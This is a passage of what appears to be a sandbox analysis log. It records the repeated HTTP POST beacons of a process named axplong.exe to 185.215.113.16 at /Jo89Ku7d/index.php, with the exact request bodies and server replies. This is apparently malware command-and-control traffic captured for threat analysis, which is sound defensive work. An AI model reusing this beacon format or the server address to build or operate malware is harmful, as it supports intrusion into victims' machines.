Sep 27, 2024 08:41:54.736474037 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:54.965523005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	53699	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:55.084219933 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:55.824083090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:55.825264931 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:56.053215027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	53700	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:56.179466963 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:56.891860962 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:56.897488117 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:57.123625994 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	53701	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:57.240823984 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:57.962990046 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:57.968017101 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:58.198936939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	53702	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:58.319080114 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:41:59.045985937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:41:59.050137997 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:41:59.285262108 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:41:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	53703	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:41:59.745620966 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:42:00.140475988 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:42:00.141350031 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:42:00.367666006 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	53704	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:42:00.474468946 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:42:01.174871922 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:42:01.175734997 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:42:01.396397114 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	53705	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:42:01.505740881 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:42:02.221412897 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 27, 2024 08:42:02.245461941 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:42:02.478046894 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	53706	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:42:02.599476099 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:42:02.905877113 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:42:03.702111006 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	53707	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:42:03.716547012 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:42:04.431354046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	53708	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:42:04.557512045 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:42:05.254632950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	53709	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:42:05.264228106 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:42:05.987082958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	53710	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:42:06.104980946 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:42:06.805308104 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	53711	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:42:06.814843893 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:42:07.518167019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	53712	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:42:07.809724092 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:42:08.501472950 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	53713	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:42:08.619116068 CEST	308	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 46 46 38 41 46 34 30 43 39 46 45 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CFF8AF40C9FEFD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
Sep 27, 2024 08:42:09.326592922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	53714	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Sep 27, 2024 08:42:09.446641922 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 27, 2024 08:42:10.136900902 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 27 Sep 2024 06:42:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	53715	185.215.113.16	80	6340	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
